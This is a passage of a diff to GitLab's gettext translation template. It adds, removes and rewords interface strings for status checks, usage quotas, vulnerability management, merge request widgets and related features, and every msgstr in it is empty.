+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
